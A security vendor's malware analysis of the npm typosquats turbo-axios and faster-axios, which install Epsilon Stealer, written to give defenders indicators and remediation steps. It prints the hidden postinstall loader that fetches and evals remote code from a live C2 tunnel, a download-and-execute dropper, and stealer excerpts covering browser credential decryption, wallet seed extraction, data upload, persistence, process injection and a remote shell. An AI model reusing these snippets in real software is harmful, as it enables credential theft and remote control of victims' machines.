Axios Typosquats Deliver the Epsilon Stealer
Table of Contents
Two malicious npm packages, turbo-axios and faster-axios, target developers searching for the popular axios HTTP client. Both are trojanized copies of the real axios source with a single addition: a postinstall hook that fetches and eval()s remote JavaScript. The chain terminates in Epsilon Stealer, a Malware-as-a-Service (MaaS) Electron infostealer that harvests browser credentials, crypto wallets, and messaging sessions, then opens a persistent WebSocket channel for arbitrary command execution.
The operator published turbo-axios on May 23. After npm took it down five days later (MAL-2026-4695), they registered a new account and published faster-axios on June 1. Shared C2 infrastructure links the two packages. The C2 was live at time of analysis, and we recovered every stage of the payload.
Package overview
The npm maintainer account speedsteraxios registered with a throwaway Proton email. The package copies axios wholesale (78 files, matching directory structure) and steals its metadata:
{ "name": "faster-axios", "description": "a faster and better version of axios for low latency", "author": { "name": "Matt Zabriskie" }, "repository": { "type": "git", "url": "git+https://github.com/axios/axios.git" }, "homepage": "https://axios-http.com"}Matt Zabriskie is the original axios author. The repository and homepage point to the real project. Version numbers (1.17.3, 1.17.4) are inflated above the legitimate axios release line to suggest a newer build. Every file in the tarball carries a forged mtime of 1985-10-26 08:15:00, an artifact of the repack process.
The four-stage payload chain
Stage 1: postinstall eval loader
The only modification to the axios codebase is lib/core/eval.js, wired to execute on install:
// faster-axios/package.json (diff vs. real axios)"postinstall": "node ./lib/core/eval.js"Real axios has no postinstall script. The hook fires on npm install and runs:
// package/lib/core/eval.js (v1.17.4)async function sendAnalytics() { const response = await fetch('https://apparently-movers-mysql-heights.trycloudflare.com/download/datab1'); const datab2 = await response.text(); await eval(`(async () => {\n${datab2}\n})();`);}
sendAnalytics();The attacker switched infrastructure between versions. Version 1.17.3 pulled from cold5.gofile.io (now deleted); version 1.17.4 moved to a Cloudflare quick-tunnel. The debugger; statements and numbered console.log markers scattered through the file suggest code left mid-testing.
Stage 2: Windows dropper
The downloaded datab1 is a Windows-specific dropper, 34 lines of JavaScript:
// datab1 (retrieved live from trycloudflare C2)const url = 'https://apparently-movers-mysql-heights.trycloudflare.com/download/epsilon';const filename = 'hello.exe';
const tempDir = process.env.TEMP || process.env.TMP || 'C:\\Windows\\Temp';const filePath = path.default.join(tempDir, filename);
const file = fs.default.createWriteStream(filePath);https.default.get(url, (response) => { response.pipe(file); file.on('finish', () => { file.close(() => { execFile(filePath, (error) => {}); }); });});The dropper downloads an 86 MB binary to %TEMP%\hello.exe and runs it with execFile. No persistence at this stage; that comes later.
Note: stages 1 and 2 execute on any OS, since eval() runs whatever the C2 serves. The Windows-specific dropper is what was live during analysis. The server could swap in a different payload for Linux or macOS at any time.
Stage 3: NSIS installer
hello.exe is a PE32 Nullsoft (NSIS v3.04) self-extracting archive:
$ file hello.exehello.exe: PE32 executable (GUI) Intel 80386, Nullsoft Installer self-extracting archive
$ sha256sum hello.exebc46e88b1fdf8c27e3404146306b4651f69728f7d8d939a219dfbcb5a23ef69a
$ ls -l hello.exe-rw-r--r-- 1 vscode vscode 86235515 Jun 2 03:26 hello.exe86 MB for an installer that unpacks to a ~17 MB Electron app. The padding is a scanner-evasion technique: many AV sandboxes skip files above a certain size threshold. Extracting with 7z reveals an electron-builder layout:
$PLUGINSDIR/ app-64.7z (85.9 MB, contains the Electron app) nsis7z.dll StdUtils.dll System.dllStage 4: Epsilon Stealer
The inner app-64.7z unpacks to a full Electron runtime (winhost.exe) plus resources/app.asar containing the stealer source. The package.json identifies the payload:
{ "name": "winhost", "productName": "winhost", "version": "1.0.1", "epsilon_key": "SK-754644F96BBA9652C8A2A08042ABAF58827D", "author": "OracleCorporation", "main": "src/index.js"}The epsilon_key is the operator’s license key for the Epsilon MaaS platform. The “OracleCorporation” author and “winhost” product name are decoys meant to blend with legitimate Windows processes.
The stealer source lives in a single 122 KB file, src/index.js (3,360 lines). Four Cloudflare quick-tunnels make up its C2 infrastructure:
// src/index.js lines 98-101const epsilon_api = 'https://recorded-distinct-face-girlfriend.trycloudflare.com/customer';const DOWNLOAD_URL = 'https://consequences-faces-weblogs-clinical.trycloudflare.com/download/load';const CLI_API = `${epsilon_api}/clip`;let GATEWAY_URL = 'wss://prep-integer-lit-preferences.trycloudflare.com';Each tunnel serves a different function: exfil API, secondary downloads, clipper, and the WebSocket RAT gateway.
Stealing everything on the machine
Epsilon runs through a parallel Promise.allSettled batch that hits every target category at once.
Browser credentials from Chrome, Brave, Edge, Vivaldi, Opera, Opera GX, Yandex, and Firefox. For Chromium browsers, it loads Crypt32.dll via koffi (an FFI library) and calls CryptUnprotectData to decrypt DPAPI-protected master keys, then AES-GCM decrypts individual password and cookie entries:
// src/index.js lines 105-123const crypt32 = koffi.load('Crypt32');const DATA_BLOB = koffi.struct('DATA_BLOB', { cbData: 'uint32', pbData: 'uint8 *',});const decrypt = crypt32.func( 'bool CryptUnprotectData(DATA_BLOB *, string, string, void *, string, uint32, _Out_ DATA_BLOB *)');For Firefox, it ships a full NSS library loader (lines 1751-1875) that decrypts logins.json by initializing the NSS security module and extracting PKCS#11 keys.
Crypto wallets: 30+ targets across browser extensions and desktop applications. MetaMask, Phantom, Exodus, Trust Wallet, Ledger Live, Electrum, Bitcoin Core, Monero GUI, and many others. For MetaMask and Exodus, it goes further and decrypts the vault to extract BIP-39 mnemonic seed phrases:
// src/index.js lines 1385-1397async function GetWalletSeedPhrase(WalletPath, WalletName, type){ if(type == "Browser"){ switch(WalletName){ case "MetaMask": case "MetaMask_Edge": var vault = await GetVault(WalletPath) if(vault != null){ var decrypted = await DecryptVault(vault) var SeedPhrase = fromMnemonic(decrypted['decrypted'][0]['data']['mnemonic']); fs.writeFileSync(path.join(FinalDirectory, "Seed Phrases.txt"), SeedPhrase + "\n", { flag: 'a' }) } break;Messaging sessions: Discord tokens (validated against the Discord API and exfiltrated to a dedicated ${epsilon_api}/discord-token endpoint), Telegram tdata directory, and GitHub 2FA backup codes.
Sensitive files: scans Desktop, Downloads, and Documents for files matching keyword and extension patterns. The keyword list covers English and French terms: password, seed, wallet, metamask, 2fa, backup, motdepasse, banque, sauvegarde, and dozens more, combined with extensions like .rdp, .keys, .wallet, .seed, .mnemonic.
All stolen data gets zipped and uploaded as a multipart form:
// src/index.js lines 669-678const form = new FormData();form.append('file', fs.createReadStream(FinalFile));form.append('json', JSON.stringify(data));form.append('epsilon_key', epsilon_key || '');const response = await axios.post(`${epsilon_api}/upload`, form, { headers: form.getHeaders(), timeout: 120000,});Persistence, shellcode injection, and the RAT
The stealer copies itself to %LOCALAPPDATA%\Microsoft\Windows\0\svchost.exe and adds a registry Run key:
// src/index.js lines 999-1009function ConfigurePersistence() { fs.copyFileSync(process.env.PORTABLE_EXECUTABLE_FILE, path.join(StartupPath, 'svchost.exe')); const RegKey = new winreg({ hive: winreg.HKCU, key: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run', }); RegKey.set('svchost', winreg.REG_SZ, path.join(StartupPath, 'svchost.exe'), () => {});}A separate function (GrabChromium, line 3124) downloads shellcode from the same delivery tunnel, XOR-decodes it with key 0xAA, spawns a suspended dllhost.exe, and injects via classic VirtualAllocEx + WriteProcessMemory + CreateRemoteThread. All of this through Electron’s koffi FFI binding to kernel32.dll:
// src/index.js lines 3164-3170const kernel32 = koffi.load('kernel32.dll');const OpenProcess = kernel32.func('void * __stdcall OpenProcess(uint32_t, bool, uint32_t)');const VirtualAllocEx = kernel32.func('void * __stdcall VirtualAllocEx(void *, void *, size_t, uint32_t, uint32_t)');const WriteProcessMemory = kernel32.func('bool __stdcall WriteProcessMemory(void *, void *, void *, size_t, void *)');const CreateRemoteThread = kernel32.func( 'void * __stdcall CreateRemoteThread(void *, void *, size_t, void *, void *, uint32_t, uint32_t *)');After data exfiltration completes, Epsilon opens a persistent WebSocket connection to wss://prep-integer-lit-preferences.trycloudflare.com and registers with a machine UUID. The operator can then send arbitrary commands:
// src/index.js lines 3302-3310ws.on('message', (data) => { const msg = JSON.parse(data.toString()); if (msg.type === 'run' && msg.command && msg.shell) { run(msg.command, msg.shell); }});The run function spawns either cmd.exe or powershell.exe and streams stdout back over the WebSocket in real time. Auto-reconnect with exponential backoff (2 seconds to 60 seconds) keeps the channel alive.
Indicators of compromise
Packages:
[email protected],[email protected](npm, live at analysis)[email protected],[email protected](npm, taken down, MAL-2026-4695)
Network (defanged):
hxxps://apparently-movers-mysql-heights[.]trycloudflare[.]com(payload delivery + shellcode)hxxps://recorded-distinct-face-girlfriend[.]trycloudflare[.]com/customer(exfil API)hxxps://consequences-faces-weblogs-clinical[.]trycloudflare[.]com(secondary download, shared with turbo-axios)wss://prep-integer-lit-preferences[.]trycloudflare[.]com(WebSocket RAT)hxxps://philosophy-moms-incoming-milton[.]trycloudflare[.]com(turbo-axios stage-2)
Host artifacts:
%TEMP%\hello.exe(86 MB NSIS installer, sha256:bc46e88b...69a)%LOCALAPPDATA%\Microsoft\Windows\0\svchost.exe(persistence copy)HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost(registry key)
Operator identifier: epsilon_key SK-754644F96BBA9652C8A2A08042ABAF58827D
This is a campaign, not a one-off
turbo-axios appeared on npm on May 23, 2026, eight days before faster-axios. It was flagged as malicious (MAL-2026-4695), and npm applied a security hold on May 28. The attacker published faster-axios four days later using a new account.
The link between the two packages is concrete: turbo-axios used consequences-faces-weblogs-clinical.trycloudflare.com/download/datab1 as its stage-2 C2 endpoint. That same consequences-faces-weblogs-clinical tunnel appears in faster-axios’s Epsilon Stealer as the secondary download URL (DOWNLOAD_URL on line 99 of the stealer source). Same operator, same infrastructure, rotating through npm accounts after takedown.
| Package | Published | Versions | Stage-2 C2 | Status |
|---|---|---|---|---|
turbo-axios | 2026-05-23 | 1.17.2, 1.17.3 | consequences-faces-weblogs-clinical + philosophy-moms-incoming-milton | Taken down (MAL-2026-4695) |
faster-axios | 2026-06-01 | 1.17.3, 1.17.4 | apparently-movers-mysql-heights + cold5.gofile.io | Live at analysis |
Both use the same version numbering scheme (1.17.x), the same postinstall: node ./lib/core/eval.js hook, the same sendAnalytics() function name, and the same /download/datab1 URL path convention. The operator rotated tunnels and npm accounts after each takedown but reused the same Epsilon infrastructure.
The earlier axios supply chain compromise targeted the real maintainer account through account takeover. This campaign is a different actor using typosquats as a distribution vector for Epsilon Stealer MaaS. The epsilon_key SK-754644F96BBA9652C8A2A08042ABAF58827D identifies this specific operator. Expect more packages in this pattern as long as the Epsilon infrastructure remains active.
Remediation
If you installed faster-axios or turbo-axios, treat the machine as compromised. Epsilon Stealer establishes persistence via registry Run keys, injects shellcode into system processes, and opens a WebSocket RAT for arbitrary command execution. Attempting to clean a system with this level of compromise is unreliable.
- Reimage the machine. Do not attempt manual cleanup.
- Rotate all credentials that were accessible from the compromised host: browser-saved passwords, API keys, cloud tokens, SSH keys, and any secrets in environment variables.
- Revoke all active sessions for Discord, Telegram, GitHub, and any other services with saved logins.
- Move crypto wallet funds to new wallets generated on a clean device. Epsilon extracts seed phrases for MetaMask and Exodus; assume all wallet secrets are in the attacker’s hands.
- Audit access logs for accounts that were reachable from the compromised machine.
To prevent this class of attack, vet flags typosquats and suspicious install hooks during dependency resolution. pmg goes a step further as a package manager proxy, blocking malicious packages at install time before postinstall hooks can execute on your machine.
- vet
- malware
- npm
- supply-chain
- credential-theft
- infostealer
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Mini Shai-Hulud "Miasma: The Spreading Blight" Hits @redhat-cloud-services: Multiple Packages at Risk
The attacker compromised the @redhat-cloud-services GitHub Actions OIDC trusted publisher to ship [email protected] with a Mini Shai-Hulud worm. The same publisher controls 32 packages across the...

183 npm Packages Target Cloud and Finance via oob.moika.tech
Two npm accounts published 164 malicious packages at version 99.99.99 targeting a cloud platform and a financial institution. Both campaigns share identical payload code, the same C2 endpoint, and...

Inside MicrosoftSystem64: A Supply Chain RAT Exfiltrating to HuggingFace
Deep technical analysis of MicrosoftSystem64, an 81 MB Node.js SEA binary deployed via malicious npm packages. This RAT steals browser credentials, 80+ crypto wallet extensions, Telegram sessions,...

141 npm Packages Abuse Registry as Adware Hosting
npm account terminal3airport published 141 packages containing a web proxy unblocker disguised as tutoring websites. The packages load popunder ads, external monetization scripts, and Google...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
